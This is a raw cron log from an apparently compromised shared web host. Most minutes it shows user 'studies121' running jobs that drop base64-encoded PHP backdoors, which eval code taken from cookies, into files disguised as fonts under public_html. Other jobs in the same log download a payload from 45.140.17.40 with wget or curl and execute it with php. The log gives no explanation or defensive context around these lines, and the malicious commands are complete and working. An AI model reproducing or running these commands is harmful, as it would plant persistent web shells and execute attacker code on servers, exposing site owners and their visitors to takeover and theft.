Sep  5 13:24:01 ip-184-168-122-23 CROND[25201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:24:01 ip-184-168-122-23 CROND[25202]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:24:01 ip-184-168-122-23 CROND[25203]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:24:01 ip-184-168-122-23 CROND[25200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:25:01 ip-184-168-122-23 CROND[25408]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:25:01 ip-184-168-122-23 CROND[25411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:25:01 ip-184-168-122-23 CROND[25409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:25:01 ip-184-168-122-23 CROND[25410]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 13:25:01 ip-184-168-122-23 CROND[25414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:25:01 ip-184-168-122-23 CROND[25413]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 13:26:02 ip-184-168-122-23 CROND[25539]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:26:02 ip-184-168-122-23 CROND[25544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:26:02 ip-184-168-122-23 CROND[25541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:26:02 ip-184-168-122-23 CROND[25543]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:26:02 ip-184-168-122-23 CROND[25542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:27:01 ip-184-168-122-23 CROND[25674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:27:01 ip-184-168-122-23 CROND[25673]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:27:01 ip-184-168-122-23 CROND[25675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:27:01 ip-184-168-122-23 CROND[25676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:28:01 ip-184-168-122-23 CROND[25807]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:28:01 ip-184-168-122-23 CROND[25808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:28:01 ip-184-168-122-23 CROND[25809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:28:01 ip-184-168-122-23 CROND[25810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:28:01 ip-184-168-122-23 CROND[25812]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:29:01 ip-184-168-122-23 CROND[25917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:29:01 ip-184-168-122-23 CROND[25918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:29:01 ip-184-168-122-23 CROND[25921]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:29:01 ip-184-168-122-23 CROND[25919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:30:01 ip-184-168-122-23 CROND[26031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:30:01 ip-184-168-122-23 CROND[26036]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:30:01 ip-184-168-122-23 CROND[26038]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 13:30:01 ip-184-168-122-23 CROND[26034]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:30:01 ip-184-168-122-23 CROND[26035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:30:01 ip-184-168-122-23 CROND[26037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:30:01 ip-184-168-122-23 CROND[26032]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 13:30:01 ip-184-168-122-23 CROND[26033]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 13:31:01 ip-184-168-122-23 CROND[26150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:31:01 ip-184-168-122-23 CROND[26148]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:31:01 ip-184-168-122-23 CROND[26152]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 13:31:01 ip-184-168-122-23 CROND[26151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:31:01 ip-184-168-122-23 CROND[26149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:32:01 ip-184-168-122-23 CROND[26339]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:32:01 ip-184-168-122-23 CROND[26343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:32:01 ip-184-168-122-23 CROND[26341]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:32:01 ip-184-168-122-23 CROND[26344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:32:01 ip-184-168-122-23 CROND[26342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:33:01 ip-184-168-122-23 CROND[26448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:33:01 ip-184-168-122-23 CROND[26451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:33:01 ip-184-168-122-23 CROND[26450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:33:01 ip-184-168-122-23 CROND[26449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:34:01 ip-184-168-122-23 CROND[26533]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:34:01 ip-184-168-122-23 CROND[26536]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:34:01 ip-184-168-122-23 CROND[26538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:34:01 ip-184-168-122-23 CROND[26535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:34:01 ip-184-168-122-23 CROND[26537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:35:01 ip-184-168-122-23 CROND[26648]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:35:01 ip-184-168-122-23 CROND[26650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:35:01 ip-184-168-122-23 CROND[26652]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 13:35:01 ip-184-168-122-23 CROND[26653]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 13:35:01 ip-184-168-122-23 CROND[26649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:35:01 ip-184-168-122-23 CROND[26651]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 13:35:01 ip-184-168-122-23 CROND[26654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:35:01 ip-184-168-122-23 CROND[26655]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 13:36:01 ip-184-168-122-23 CROND[26764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
